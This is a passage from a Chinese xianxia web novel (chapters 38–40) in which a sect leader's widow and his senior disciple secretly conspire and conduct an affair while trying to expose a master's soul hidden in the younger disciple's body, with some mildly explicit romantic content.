顾青峥修得数个时辰,渐渐疲惫起来,但他并未停止,直到天已经亮了,外头传来了今日上值的小弟子们的轻言细语,才将灵力收入灵海,慢慢睁开了眼。 “闵师兄,这么早往哪儿去呢?” “去摇光峰练功。” 没有人催促,闵道一恨不得日日懒在弟子舍内睡大觉,他可不是一个会主动去摇光峰练功的人。 不知这个决定究竟是谁做的。 顾青峥的嘴抿成了一条线,恰巧这时弟子令又开始闪烁,他皱眉拿起,读后眉头舒展开,起身出了门。 从太阴殿前往后走,莫约半炷香的时间,他便到了地方。 问仙宫的大门紧闭,顾青峥伸手推开,按照上一回的记忆往里一直走。 走到那间宫室内,果然地下已经出现了一道长长的楼梯。 顾青峥顺着楼梯走到底,穿过长廊,来到了那个有着穹顶的宫殿。 徐宴芝正站在宫殿正中央,紧紧抱着手臂,出神地望着自己的脚尖。 因低着头,便露出了一截白皙的后颈,她近日似乎瘦了一些,原本合身的衣裳飘摇了起来,饱满的脸颊也凹陷了一点。 种种因素加在一块儿,教徐宴芝的人明明踏实地在他眼前,却仿佛闪烁起来,好像下一霎便要消失不见了。 顾青峥看着她,一瞬也无法移开视线。 此情此景,让他很想制造一个巢穴,将她藏在深处,护在翼下,不教风雪沾湿她,不教旁人看见她。 他脚步快又轻,出现在她身前时,将她吓了一跳。 徐宴芝猛地松开双手,狠狠瞪向顾青峥,柔情的眉间皱出了不安的刻痕,全部的肢体动作都在堂皇地表演着暴戾。 “他没有死。”她伸手抓住了顾青峥的衣襟,因眼下有一片弯的青色,整个人瞧上去阴沉了许多,“机会稍纵即逝,你当时为什么要迟疑,你应当一剑刺破他的心,割下他的头,亲眼看着他死!那如今便不会搞成这个样子!” 她拉下了顾青峥的脸,要将他的表情仔细地看清楚,琥珀色的眼眸里倒映着漆黑的瞳仁,他们的鼻尖与鼻尖只有一指距离,两张靠得极近的脸,一张狰狞,一张平静。 顾青峥没有解释,任由眼前人在自己身上宣泄着戾气,太阴峰上的灵力暴风也吹不倒的男人,此时却随着徐宴芝的动作而动摇。 她没有解释这番没头没脑的言语是什么意思,究竟是谁没有死,他也没有问,他们应当是有默契的。 可此时顾青峥越是波澜不惊,徐宴芝便越愤怒。 “你在装模作样些什么?你想说你不怕,你很厉害?你觉得我像个傻子是吗?”徐宴芝松开了他的衣襟,给了他胸膛一掌,这样也仍不够解气,抬手便不管不顾地朝着他面上扇去。 顾青峥终于迟疑了。 徐宴芝并未动用灵力,不过是寻常的一巴掌,伤不到顾青峥,可方才他以为既然她在惊惧,最好任由她宣泄情绪,自己表现得平静一些更好,没想到却半点没有起到用处,甚至好像在火上浇油。 那这一巴掌是否应该躲开? 徐宴芝的动作再慢,也由不得顾青峥思索这样多。 在她结结实实地打在他脸上前,顾青峥微微偏了偏头,将她的手整个握在了手心中。 “我并不厉害,我也在担忧。” 他低头,吻在她的指尖上,一边细致地安抚她,一边用极温和的口气轻声道。 有更大的生死危机笼罩在他们头上,那些没有摆在明面上的较量便失去了意义。 在他的亲吻下,徐宴芝的身体不再那样紧绷。 可她仍然将嘴抿成了一条线,攥紧了没有被紧握地另一只手,她的情绪从不曾这般失控过,那些被压抑已久的黑暗爆发一般吞噬了她的理智。 徐宴芝也不知道为什么。 若是她并不认为自己成功了,并不认为自由即将在眼前了,哪怕当时宇文令全须全尾地回到了太阴峰上,她也不会这般痛苦焦躁。 顾青峥将她拦腰抱起,放在了榻上。 他俯身下来。 “不要,我没心情。” 徐宴芝坐直了身子,偏开脸,冷冰冰地推他。 她没有推动他。 顾青峥半跪在地上,撩起了她的裙摆,朝她勾了勾嘴角,柔声道:“我只是想让您放松一些。” “啧。” 徐宴芝有些不耐烦,但到底没有再 抗拒。她分开了腿,将鞋袜踢开,赤脚踩在了顾青峥的背上。 在这样的情景下,她也不得不承认,顾青峥的确聪明好学,只要一点细微的声音变化,便能分辨该往如何努力。 他也确实让她摆脱了遮天蔽日的烦躁,得到了暂时的宁静。 半个时辰后,徐宴芝衣裳整齐地坐在顾青峥腿上,餍足地勾着他的脖颈,没骨头似得将上半身靠在他胸前。 她好整以暇地抬着下巴,看着顾青峥拿出手巾,准备擦拭唇边的水渍,伸手便夺了过来。 “怎么?非得用手巾?” 顾青峥挑了挑眉,并未多言,只是从善如流地舔了舔殷红的唇。 他如此乖顺听话,方才又那样体贴可人,即便是生死关头,徐宴芝也不由自主地生出了奇异的满足,找回了一些失去的控制感。 她又有了力气,她的世界重新恢复了秩序,只觉如今就算又跌落无尽之崖,也能再次爬到北域之巅。 徐宴芝眯起了眼,伸出一根指头戳了戳顾青峥的胸膛:“我想到了一个法子。” “您说。”她的手不规矩,顾青峥难耐地强行将那手指握在手心,长长叹了一口气,“您说完后,我再说我的法子。” “青峥,要是我跟你师父重修旧好,你可会生气?” 顾青峥闻言,难以掩饰地瞬间沉下了脸来,他看着身前露出了狡黠笑容的徐宴芝,手中不自觉地多用了一份力。 徐宴芝嘶了一声,将手指从他手中抽了回来,皱眉道:“又不是真的。” 当然不是真的,此后也绝不会成真,但听到她说这样的话,还是教他心中有一瞬的空白。 顾青峥恼了徐宴芝这张嘴,抬起她的下巴,低头狠狠地堵了上去。 等到这张信口开河的嘴终于得到了足够的教训,顾青峥方才气息不稳地放过了她。 他不敢再多动作,静静将脸贴在徐宴芝发间,连她的脸也不敢看。 半晌后,两人的心跳才恢复了平静,有了心思说正事。 顾青峥抱紧了徐宴芝,闷闷说道:“若是并无办法将神魂从师弟那儿拔除——” 徐宴芝好久都没有回答他。 久到顾青峥以为她不会答了,才听到徐宴芝在耳边轻声说。 “那就只能对不起他了。” 问仙宫附近小弟子们的值日时间已经被徐宴芝查明了。 在宫中待了一个时辰后,她与顾青峥分头离开,一个出发去寻吕敏之,另一个准备去摇光峰上接闵道一。 顾青峥走到殿前,去几个相熟的小弟子交谈了一番,知晓了闵道一带着佩剑去了摇光峰。 若是他师弟原本的性子,虽然爱躲懒不爱练功,但若是得了一柄好剑,的确也能新鲜上三五天,奋力用功上一会儿。 因此便不能分辨究竟是闵道一体内哪个神魂出的主意,还要小心试探一番。 前些日子,宇文令在暗,顾青峥与徐宴芝在明,虽然他们对彼此关系做了掩饰,但到底没有那样提防,也不知有没有露出破绽。 现下抓住了宇文令的马脚,也一定要十分谨慎才行。 顾青峥乘上了灵舟,不一会儿便降落在摇光峰上。 摇光峰上遍地都是演武场,不是弟子大比这样的盛事,若是门中弟子有需求,可自行在授业堂中申请空闲演武场用来修行。 他下了船后,一路走到授业堂,打算问一问当值的小弟子,闵道一究竟在何处。 授业堂中的小弟子一见顾青峥便两眼放光,十分客气,立即交代了闵道一的行踪,顾青峥与他道了谢,往半山腰走去。 走到一半,迎面便见到了闵道一。 他垂着头,慢吞吞地走着,步履并不像平常那般轻盈。 顾青峥心头一突,立即藏在了道路一旁的树林中。 他的师弟修为不过筑基,无论寄生在他体内的大能从前如何能呼风唤雨,也无法突破这具躯体的极限。 顾青峥能提前看到闵道一,闵道一却不能在同样的距离里发现他。 屏气凝神,掩饰了自己的气息,顾青峥看着毫无所察的师弟,手中不住地摩挲着长剑的剑柄,慢慢朝着摇光峰山顶走去。 他走到了授业堂前,站定在广场中,眉头紧锁,似乎在思量着什么。 过了片刻,闵道一似乎有了决定,迈腿绕过授业堂的正殿,试图往后头走去。 授业堂正殿用于公务,常年有许多门人进进出出,后头则是牧杨长老与他几个亲传弟子的住处,并不随意对外人开放。 顾青峥眼皮莫名地一跳。 他不再遮掩身形,远远地出声道:“道一,你去哪儿?” 闵道一闻言浑身一颤,缓缓转过头来看着顾青峥,迷糊道:“我练剑呢,师兄你怎么来了?” “一早就听到你出了门,想来是得了剑新鲜要练功,只是怎么也不叫上我一块儿?”顾青峥笑了笑,上前亲热地锤了师弟一拳。 “师兄,你可比我厉害太多了,昨日可被你收拾的够呛,今日便想一个人练一练。” 闵道一假意被顾青峥一拳锤地生疼,龇牙咧嘴没正行地对他笑道。 他仍旧是天真烂漫的模样。 顾青峥却看不透究竟是谁的神魂在对他笑。 第39章 第三十九章肆无忌惮 又在师兄监督下勤奋修行了一日,闵道一精疲力尽,回到太阴峰时,腿都在发软,勉强走到弟子舍,将自己甩上了床,当即不省人事地昏睡了过去。 顾青峥跟在他身后一块儿进来,看他无视自己上了床,又站在他床边看了他许久,除却轻微的鼾声外,也不见他有何反应。 闵道一这般毫无防备的样子,让顾青峥明白他今日是真的累了。 他暗叹一声,转身替师弟关上了房门。 累了也好,累极了肉身顶不住,只能歇息,总好过被谁的神魂操控,糊里糊涂地去做一些自己也不明白的事。 顾青峥回到自己的小院,随手沏了一壶茶,并不喝,只看着茶盏上升起的雾气,陷入了沉思。 闵道一去摇光峰,是因为他想要练剑,还是被宇文令操控着,要去寻人? 摇光峰牧杨长老,既然能掌管整个北域七峰的弟子修行,自然是因为他本人修为极高,因此当时与宇文令一同下山,骑飞虎去往无尽之崖的一行人中,正有他。 回忆起宇文令去往旧城的那个夜晚,顾青峥手指轻敲着桌子,眼微觑。 那天他与宇文令皆是狂奔,速度极快地赶到了旧城外,宇文令没有停下脚步,而他因感受到了城中业鬼的骚动,停了下来。 顾青峥等了一会儿,直到远处业鬼不再嘶喊,方才回转。 他离开的时间应该不长,回到营地后,又等了一段时间,才等到门人过来替他。 顾青峥平静地与门人换了岗,回到了帐中。 他进去时扫了一眼,将帐里诸位门人都看了一遍,牧杨当时也帐里,与几个亲传弟子睡在角落里,白天除鬼消耗了极大的体力,他们都在抓紧时间恢复体力,没有任何人睁开眼。 宇文令独自睡在一间小帐中,并不与门人同住,他出帐时动作很轻,应当没有惊起门人。 顾青峥环顾一圈后,没有发现异样,便佯做困顿,缩在角落中闭上了眼。 他当时心情起伏,但为了避免嫌疑,也强行控制了自己的心跳,逼着自己陷入沉睡。 第二日,顾青峥是被门人凝重的声音唤醒的,他睁眼时,帘子已经被掀开,外头的阳光照了进来,牧杨正站在帐外,皱着眉,与他的亲传弟子说着什么。 唤醒他的仙子站在据他一步之外的地方,见他醒来后,对他轻声道:“顾师兄,掌门不见了。” 昨夜顾青峥已经在心中演习过听到这段话应该作何反应,他怔忪地撑起身子,没听清一般反问道:“你说什么?” “昨夜是我最后一个守夜,见天要亮了,我便去请掌门现身,请了几回也不见回答,斗胆去帐中看了,掌门并不在帐里。”仙子眉头紧皱,低声道。 这位仙子是吕敏之的亲传弟子游凤,与顾青峥在大比中交过几次手,也常为她师父下山做事,是除鬼的一把好手,平日里杀鬼血染衣衫也不见皱眉,当时唤醒顾青峥时面上的神情却十分凝重。 听着游凤的话,顾青峥也跟着神情凝重起来,他立刻站起身,皱眉道:“辛苦师妹, 我这就去寻掌门。” 说着,他大步迈出帐子,不过与门前的牧杨对视了一眼,便被他伸手拦下。 牧杨面沉如水,喝住了他:“青峥停步!我已经找过掌门了,也问过揽云那边——”他那手指了指隔壁已经将帐篷收起的营地,“都没有见过他的踪迹,你就留在这里,别再去了,今日还有今日的事,你师父不在,你再去寻他,等你再不见了,难道还要遣人去寻你?咱们拢共才多少人?” “可师父——”顾青峥想要解释。 “你师父乃北域最强者,我想他倒不会出事,恐怕有些事要去处理。” 宇文令不在,在场便是牧杨为尊,何况他掌管授业堂,后辈门人几乎都曾受过他的教诲,他做下的决定自然无人反对。 何况顾青峥知道宇文令消失在什么地方,他也不是真心要去寻他。 他们这一行人,此后便由牧杨指挥,又在无尽之崖附近待了五日,奋力除鬼,只是在这五日里,众人一次也没有收到宇文令的消息,终于确信,他们的掌门不是有要事暂离,而是失踪了。 最后回七峰的决定,也是由牧杨做出的,当时大量聚集的业鬼已然被消灭,只有星星点点的几只业鬼还在地上游荡,双月当空的危险程度已经被降到了最低。 他这时倒是任由顾青峥留在了山下寻他的师父。 这么看来,牧杨与宇文令的私交,究竟是好还是不好? 闵道一去摇光峰,是宇文令想要与牧杨交底,还是疑心牧杨是凶手。 热茶渐渐变凉,雾气消失。 顾青峥垂眸沉思,许久也没有答案,宇文令永远高高在上,自己与其说是他的徒弟,不如说是奴仆更合适,又怎么会知晓师父的私事。 当然,并不是说七峰上就无人能知晓宇文令的隐秘了,常伴在他身旁的徐宴芝,就应当会知道许多。 顾青峥想到此处,忍不住地冷笑一声,原本不过用指腹轻敲桌面,忽然用力一击。 杯子应声而倒,茶水泼洒开,桌上一片狼藉。 闵道一并不知道隔壁小院里师兄心中的诸多盘算。 他一觉睡得久,醒来天都黑了,浑身发软有些起不来,眨眼看了许久,方才看清有个人影站在床前。 这一下吓了一跳,正要出声,那人影先开口了:“得了剑,便这样发狠用功,早知道就早些给你了。” 闵道一听到了熟悉的声音,松了一口气,又躺了回去,含糊道:“师娘莫要嘲笑我了,以后我都会好好用功的。” 徐宴芝嗤笑一声,替他点亮了灯,坐在床沿上揶揄道:“这话自你上山起,我恐怕已经听你说过十几回了。” 闵道一脸有些红,将头蒙在被里,笑嘻嘻道:“这回肯定是真的!您就信我吧!” “好好好。”徐宴芝也跟着笑,“那便最后再信你一回。” 闵道一闻言又将毛茸茸的脑袋钻出了被子,眼睛也亮晶晶的,他好奇道:“您是特意过来看我的吗,怎么进来了也不叫醒我,站在床边不出声,怪吓人的。” 徐宴芝不能说她方才进来后,见闵道一睡得香,想起他身体里寄居的另一个神魂,一时不知该如何面对,便不想叫醒他。 “谁昨日哭成那样,叫我如何放心,自然要来看看,结果敲门你也不应,还以为怎么了,进来却发现,有人只是睡得太香了。”她只能这般笑道。 闵道一脸更红,在床上扭了几下,坐起来挠头道:“那是弟子大比受了些挫折,加上头又疼,心中难过的缘故。” 徐宴芝叹了一声,将手中一直拿着的小匣子放在闵道一手中,叮嘱道:“我去找周云子讨了一些新的灵药,听她说都是难得的好东西,你用一些,看看对不对症。” “嗯。” 闵道一拿着药匣子,正想说些什么,不防外头又传来了他师兄的声音。 “怎么你们都在。” 顾青峥就住在隔壁,若是这边有些什么动静,当然能立刻发觉,闵道一没多想,正要越过师娘的肩膀与师兄打招呼,余光却发觉,坐在他床沿上的徐宴芝忽然瑟缩了一下。 他也跟着顿了顿,已经到了嘴旁的话咽了回去。 师娘是在害怕吗?闵道一心中想着,偏头看了一眼徐宴芝的脸。 只见她面色沉郁,似乎有些让她不痛快的事发生了。 这时候,顾青峥也踏进了闵道一的卧房,看着屋里的二人,笑道:“师弟不过比平日多出了几分力,便像个伤患了?” 闵道一此时的注意力仍然在徐宴芝身上,他嘴上笑嘻嘻地应了,眼中却敏锐地察觉了,在师兄说话时,他的师娘露出了微微不耐烦的表情。 他听到徐宴芝说:“昨日你师弟刚刚到我那儿你便来了,今日我才坐下没多久,你又来了。” 徐宴芝转头看向顾青峥,半真半假地嗔道:“像是在我身旁有个眼线似得。” 闵道一又抬头去看他师兄。 顾青峥一双眼睛全盯在师娘身上,既不在乎房中的他,也没有多恭敬,眼神邪性得很,好像、好像—— 好像要把眼前这个女人生吃了一样。 屋里没开窗,一股幽幽的香味,在这时钻进了闵道一的鼻子里,他不自禁地打了个寒颤,眼睛一动不动地看着他的师兄。 他记起来了,有一回,师兄不知从哪儿回来,神情瞧着有些不对,闵道一从他身上闻到了一阵香气。 与如今这个味道一模一样啊。 这个发现不啻于天打雷劈,闵道一小心地看了看屋里的两人,后知后觉地意识到了事情似乎有些不对劲。 师兄怎么这样,这样、这样肆无忌惮,是否因为弟子大比中夺了头名,已经认定自己就是下一任掌门,便不再费心遮掩了? 这间屋子,在闵道一住进来前便被徐宴芝好好的修整过了,她担心小徒儿修为不高,畏惧寒冷,特地安排在地上铺上了大块的暖玉,让里头一年到头都是暖和的。 这样暖和,却让闵道一心中阵阵发冷。 徐宴芝很快收拾好了脸上表情,淡淡回头看了闵道一一眼,又伸手摸了摸他睡得纷乱的头,轻声道:“我先回去了,留下来的灵药,你记得用。” 说罢,站起身来,要往屋子外走去。 她走得近了,站在门口的顾青峥眼神也收敛了一些,但仍然堵在门前。他越过徐宴芝,扬起下巴对闵道一敷衍道:“我先送师娘回去。” “好——” 闵道一听到自己的声音干干巴巴,好像许久没有喝水了一般。 他看到师娘走出房门后,师兄自然地伸出了手,一副保护的姿态,放在了她的腰上。 再一眨眼,两人就都消失在了闵道一眼前。 他瘫回到床上,冷汗直冒地想道—— 师娘分明是不愿意的啊,师兄怎么能这样。 这个想法甫一冒出来。 闵道一便暂且地失去了意识,他眉头紧锁,圆眼睛眯了起来,里头闪过了一丝戾气。 第40章 第四十章正在不轨 天机峰上,周云子在结界外,俯身照料着自己种的几株珍稀灵植,大雪纷飞的天,普通小弟子在外头走上几步就能将自己冻僵在原地,她却丝毫不受影响。 这是几株喜好寒冷的寒天花,分明只生长在北域这样的冰天雪地里,幼时叶瓣却容易被大风吹落,是极难长成的娇弱灵植。 周云子养的这几株正长到了关键时刻,寒天花茎秆上刚长成的嫩叶被风吹得有些飘摇,她屏气凝神,缓慢的用仙法修补好叶柄,将嫩叶固定好。 这样的仙法非得要极有耐心才行,周云子全神贯注地修补了一刻钟,终于将所有嫩叶都加固完。她上下左右地仔细将几株花都看了一遍,见它们都精神极了,方才松了一口气, “周长老,除了你,当真想不到山上还有谁有这份耐心了。” 这时一个女声忽然响起,吓得周云子心都颤了一颤,不由得大喊了一声哎哟。 她捂着胸口,横眉冷眼地转过头,看着身后的徐宴芝怒 道:“你怎么又跑这儿来了?你才筑基修为,回回都往外头跑,你也不嫌冻得慌!” 徐宴芝身上裹着厚厚的斗篷,露在外头的鼻尖早就冻得发红,身子微微发着抖,双手抱着暖炉也不顶用。 她站在原地等了周云子一刻钟,差点冻成人棍,闻言苦笑道:“我每回寻周长老有事,你都躲在外头不肯回来,这叫我怎么办?” 周云子听了这话,头立即痛了起来,板着脸往回走去,边走边说:“你这样一说,我便知道不是什么好事,恐怕又要拔掉山上好不容易种下的东西,你别说是什么事了,我不听。” 说到这儿,她干脆伸手将耳朵捂住,乜斜了徐宴芝一眼,加快了脚步。 徐宴芝哭笑不得,连忙深一脚浅一脚地跟了上去。 两人一个捂着耳朵不听,一个追在后头讲话,一前一后地走进了结界里,迎面碰上了苦着脸的周云子的亲传弟子们。 周云子放下手,狠狠瞪了几个徒弟一眼,正要开口,便听到身边徐宴芝幽幽道:“周长老——” 她立即又抬手捂住了耳朵,言简意赅道:“不听,不答应。” 弟子们也帮腔:“徐夫人,跟您说了,山上这些灵植上一回已经拔了好一些,我们长老心疼得很,不会再同意了。” 走进结界里便暖和了许多,徐宴芝放下了兜帽,环视了一圈,见天机峰一众仙子仙人同仇敌忾地看着自己,好像她是个闯入小白兔领地的狼,不安好心。 徐宴芝只得一边搓手,一边叹息道:“如此,那便算了。” 她说罢,神情十分落寞,肩头也垮了下来。 今日大雪,天机峰上阴沉沉的,徐宴芝那样颔首静静站着,眼眸低垂,脸色苍白,白得要透明了,眼下还有青色,连一贯暖洋洋的琥珀色眼眸都黯淡下来,里头一丝光也没有。 真是我见犹怜。 周云子面无表情地看着她往回走。 直到徐宴芝当真要走没影了,她才忍不住出声道:“等等,你要说什么,你还是说,我同不同意再说。” 徐宴芝闻言立刻停下了脚步,回头对她绽放了一个笑。 笑起来倒是十分明媚的样子,连眼眸都重新闪烁了起来。 周云子看着徐宴芝走向自己,忽然有种受骗感,直觉自己恐怕又落入了这个女人的陷阱当中,但覆水难收,说出来的话也咽不回去了。 她无奈地嘟囔着:“你快些说吧。” 徐宴芝笑意盈盈地拉着她走到一旁,附耳悄声说了几句话。 周云子脸色顿时变了,再看向徐宴芝,眼中也不再那般抗拒,只低声道:“我还是要想一想。” “是该多想想呢。” 徐宴芝只管笑,这回说完,当真与周云子道别,乘灵舟往吕敏之那儿去了。 吕敏之比周云子圆滑许多,与徐宴芝在小书房里嘀嘀咕咕地商议了一会儿,眼睛骨碌一转,便答应了她。 徐宴芝松了一口气,面上却不显,仍旧笑着。 这两人都松了口,后头的事就好办了。 告别了吕敏之,徐宴芝乘了灵舟返回太阴峰,步履匆匆地回到书房中,提笔写下了一封信,仔细地用仙法隐藏了上头的信息。 想了一想,她又从妆奁中找出一枚简朴的发簪,对镜簪在了发髻中。 仔细看去,镜中的她眼下仍有些发青,若是不笑,一脸的憔悴可怜,仿佛遇见了什么难题似得,极教人可怜。 徐宴芝对着镜子笑了一笑,见镜中人笑得也凄凉,眉尾向下拖着,惶惶恐恐的睁着眼,过得十分不如意的样子,这才满意地站身来。 她拿着信走到了殿前,去寻顾青峥。 这封信收信人是揽云大泽的岳竺,从北域到揽云,这样的距离,鸢鸟可送不到,非得以人力送到边境,再用揽云的法子送到大泽里去。 徐宴芝想要再跟岳竺谈一桩生意。 走到殿前,两间相邻的小院门都开着。 徐宴芝离得近了,从闵道一的院子里听到了两个徒儿的声音,她顿了顿,先去了顾青峥的书房,将信笺压在了他的镇纸下,再转身走到门口。 她站在门口,两道声音都听得清晰。 闵道一在向他师兄求饶:“师兄,您这些日子当真没有事做吗?不用下山吗?我不相信,门中竟然就这样给您自由了?” “当真,李能意长老亲自对我说了,弟子大比后容我歇上一段时间,从前师父在时我一年到头也难得回来几日,教你功夫练得稀疏平常,今后便不再容你松懈了。” 顾青峥斯条慢理地对师弟解释着。 这一番话,闵道一是越听越绝望,他带着哭腔道:“可您也不用日日都来督促我练功啊,我当真受不了了!” “修行在于每一日,可不得日日练?” 听着闵道一的哀嚎声,徐宴芝先笑,接着慢慢沉下了脸。 如果没有哪位大能,随意地在旁人脑中寄生神魂,又没有过些日子的圣山开山门之事,现在的场景也能算得上是温馨了。 她回了神,慢慢地要离开,手却‘不经意’地碰到门上,传出了动静。 “谁啊?”闵道一问 “是师娘。”顾青峥侧身看了一眼,答道。 “师娘——” 闵道一正欣喜地想叫住徐宴芝,话到了嘴边又咽了回去,掀起眼皮偷偷打量身旁的师兄。 顾青峥此时神色如常,看不出什么异样。 闵道一又看向外头,见徐宴芝勉强笑着,一步一步慢慢往里头走,实在是满身的抗拒,好像院子里有业鬼要噬人一般。 他心里头更是咯噔一下,惴惴不安地攥紧了拳头,轻声道:“师娘,您是过来看我的吗?” “是啊。”徐宴芝一双漂亮的眼睛看向他,声音也一如他记忆中的温和,“只是过来瞧见你们俩像是有事,我便想着不打扰了。” 她说话,眼睛只看着闵道一,好像这里只有他一个人似得,一瞬也没有看向顾青峥。 昨日那个发现让闵道一辗转反侧,天亮才睡着,今日他十分仔细观察这两人的表情,见到师娘如今的模样,见她连看都不敢看师兄一眼,心中一痛,晓得她是在躲避师兄—— 他自己也没想到,往常忙得神龙见首不见尾的师兄,竟然有了时间日日陪着他练功,师娘又怎么想得到! 师娘肯定是看到师兄也在这儿,连忙想躲,匆匆往回走,不甚闹出了动静。 思及至此,闵道一连忙赶在顾青峥开口前说话:“您放心吧,我现在精神好着呢,师兄、师兄也一直陪着我,您回去吧!” 他一边说着,一边不动神色地拦在了顾青峥身前,生怕师兄忽然冲出去擒住了师娘似的。 不论是孝道,还是旁的东西,师兄做法都是错的。 闵道一背上生出了一层薄汗,又是怕又是苦闷。 明明前不久不都好好的,究竟是什么时候开始的,他不知道好好一个光风霁月的师兄,为什么会做出这样的事情来。 那可是师父的道侣!他们的师娘!师兄是个禽兽不成! 但就算师兄是禽兽,想着这些年的情谊,他也没有办法立即厌恶、憎恨师兄。 闵道一脑子乱极了,过往种种此时都记了起来,眼眶都红了,疑心自己一低头便能哭出来。 一时间,他又开始头疼,眼中的世界都慢了半拍。 不知为何,他的眼睛一直盯着师娘头上的发簪看,半点都移不开。 这个发簪似乎有些眼熟,之前他为师娘画像时见过,似乎是师父所赠? 他想眨眼,想动一动身子,走上两步。 可好像被谁控制住了, 闵道一什么也做不了,只能睁着眼,看着师娘头上的发簪。 他看了太久,眼睛干涩极了,慢慢地,慢慢地,在眼眶中蓄了一汪泪。 才闹过一场,若是又当着师娘与师兄的面哭出来,闵道一脸皮再厚也臊得慌,他努力了许久,终于在眼泪差点要流下来时,又回找回了对身体的控制,重新返回了世界当中。 他连忙侧身看了顾青峥一眼。 顾青峥只顾着看着徐宴芝,并没有在意身旁的师弟。 闵道一毛骨悚然,唯恐师兄又对师娘做出什么不好的事,咬牙把顾青峥拉在身后,冲徐宴芝挤出一个笑来:“师娘,我送您回去吧。” 说着,也不等在场的两人同意,急急忙忙走出小院,护着徐宴芝往殿后走去。 一边走,还一边回头小心地看了一眼顾青峥。 顾青峥好像意识到了什么,虽然站在原地未动,却兀自对着他笑了起来。 他笑得并不灿烂,眼珠黑得怕人,骇得闵道一加快了脚步,恨不得将师娘扛在肩上飞奔而去。 闵道一走得飞快,一直护着徐宴芝走到了问仙宫附近,确信身后没有人跟上来,才放心了一点。 冰雪季的太阴峰上,他平静下来后,发觉自己竟然满头大汗,再看身旁的师娘,怎么看怎么都觉得她最近一定过得不好。 又瘦了,又憔悴了,师父没了的那几日都没见过她眼下黑青,如今却显出来了。 闵道一心疼极了,心中的天平彻底倒向了师娘,将自己那卑鄙无耻的师兄翻来覆去骂了数十回,嘴上也小心翼翼地问道:“师娘,您看上去不太好,最近累着了吗?” 徐宴芝神色一滞,苦涩地勾起了嘴角,叹息道:“前些日子确实太累了,灵力消耗也大,旧伤复发,夜夜不得安眠。” 夜夜不得安眠—— 这一句原本寻常的话,此时却在闵道一脑子嗡得一下炸开,不住地回响着。 是、是怎么不得安眠呢? 他的身子一下子又失去了控制,僵硬在原地,听得自己哑声问道:“如何不得安眠?” “背上有旧伤,有点痛,睡不好。”徐宴芝温婉一笑,点了点闵道一的鼻尖,“不像有些人,睡下后连身旁有人都察觉不到。” “背上的伤,还在疼?” 闵道一听到自己这样问道——什么伤,师娘受过伤?他为什么会知道? 徐宴芝也一脸惊讶地看着他,低声道:“一些陈年旧伤了,偶尔累极了会疼,并不碍事,反倒让人怀念。” 说到后头,她的声音越来越低沉,眼眸也黯淡下来。 此时一阵风吹过,问仙宫内的灵植被吹得哗啦啦直响。 声音教徐宴芝从往事中回头,她仰头越过闵道一的身子远眺了一会儿,好似在确认什么,而后表情舒展了一些,对他道:“好了,送到这儿就行,你快些回去吧。” 徐宴芝道别后,并不留恋,掉头便要往自己的无名小院走去。只是方才抬脚,便被人握住了手腕,不得已停在了原地。 她吃惊地回头,看向此时表情已经十分阴沉的小徒儿,他可爱的圆眼睛半眯着,周身散发着可怖的气息,天真的闵道一被恶灵取代,阴恻恻地视线扫在徐宴芝脸上。 “怎么了?”徐宴芝轻声道。 她的声音似乎惊醒了闵道一,他猛地收回了自己的手,垂下眼眸,定定站着。 过了好久,徐宴芝才听到他小声说:“无事,你,您慢些。” 唉,真是谨慎多疑—— 徐宴芝心中长长地、不耐烦地叹了一口气。 但脸上却扬起了恰到好处的,她曾在浴池中对镜练过无数回的笑,是极柔情,不带半点锋芒的。她的眼眸也弯了起来,眼中闪烁着星星点点的光。 “快些回去吧,你好好修行,就别操心我了。”徐宴芝用她能用的最温柔的口气对面前的人说着,“听你师兄的话。” “嗯。” 闵道一应了,攥紧了拳,垂着头不再看她,任由她独自往回走去,消失在他的视线中。 如此,闵道一的生活变得十分割裂。 数十年不曾日日相对的师兄,忽然有了大把的时间,每日将他从床上揪起来修行。 他一下子将从前不曾吃过的苦都吃了回来,天天练得两眼冒金星,只是即便这样,闵道一也不曾喊过累,咬牙都忍了下来—— 他觉得若是师兄将心思都放在自己身上,便不会再去欺负师娘呢,自己受苦,总是身体上的,歇一会也就好了。 这般过了昏头昏脑地过了一些日子,有一日,闵道一起床时,并没有第一时间在身旁看到师兄。 他先是没有反应过来,接着吓了一跳,心头冒出许多恐怖的念头,连忙起身,急匆匆地冲出小院,四下查看。 从弟子舍的小院往前头走了一段距离,在离侧门不远的地方,闵道一看到了远处,顾青峥正站在一架飞虎车旁,低着头在对着里头说着什么。 闵道一赶紧三步并作两步走上前,发觉车里正是徐宴芝。 她面有难色,正在对顾青峥说着什么,见了闵道一从后头探出身上,眼睛一亮,笑道:“你师弟来了,若是不放心,便让他送我下山吧。” 虽然不知是什么事,闵道一也立即满口答应道:“行!我送师娘下山!” 顾青峥也跟着嗯了一声,温和地附和道:“这样也好,师弟近日辛苦,下山松快松快也好。” 闵道一放下了心,连忙与驾车的小弟子换了位置,自己拿起了缰绳,刚让飞虎走了一步,又听得后头车厢中传来了徐宴芝小声的哎呀。 接着车厢略微一沉,有人上了车,一个低沉的男声从后头传来:“走吧,师娘要去山下的仙城。” 闵道一心中咯噔一下,不由得连连回头看去。 可这架飞虎车的车厢只有侧面有窗,他回头什么也瞧不见,也不知道后头究竟是什么样的情景,徐宴芝是否有事。 飞虎已经小跑了起来,后头传来了车门关上的声音,再也没有别的理由将顾青峥赶下车去,闵道一只得坐下,在前头忐忑地驾着车。 车厢中的二人,气氛却不像闵道一想的那般凝重。 车窗外头的景色不住飞驰着,只有他们俩,也不必再做戏,徐宴芝闲适地将身子歪在顾青峥身上,将他的手放在自己手里,左右翻看,比较着大小。 到底是日日勤修苦练的一双手,骨节分明,手指修长,指腹与掌心却粗糙,跟她那双养得柔软的手全然不同,手心相贴时,他的手比她长了近两截指骨。 两只手颜色也不相同,来自无尽之崖的徐宴芝天生肤白胜雪,顾青峥却是小麦色的皮肤,她的手在上时,像是顾青峥在用手捧着一蓬白雪,轻盈绵软,带着一丝凉意。 担心前头的闵道一听见,车中不便说话,她无事可做,只能反复玩弄他的手,玩得久了,顾青峥觉得有些痒,索性握拳,将她的手整个包在手心里,手臂也使了劲,把她箍在怀中,不让她乱动。 他的手大又有力,将徐宴芝的手整个握住也就罢了,轻轻一揽,教她整个上半身动也无法动弹。 这就是力量。 一点点酸,又漫上了徐宴芝心头,她也想要有力的、粗糙的手,她总觉得,这样的手属于更自由的人。 一瞬间的泄气,也没有逃过顾青峥的眼,他凑到徐宴芝耳边,耳语道:“怎么不高兴了?” 说话间,热气一字一顿地吹拂着徐宴芝的耳垂,一阵酥麻顺着她的耳朵爬上了她的背,让她经不住打了个寒颤。 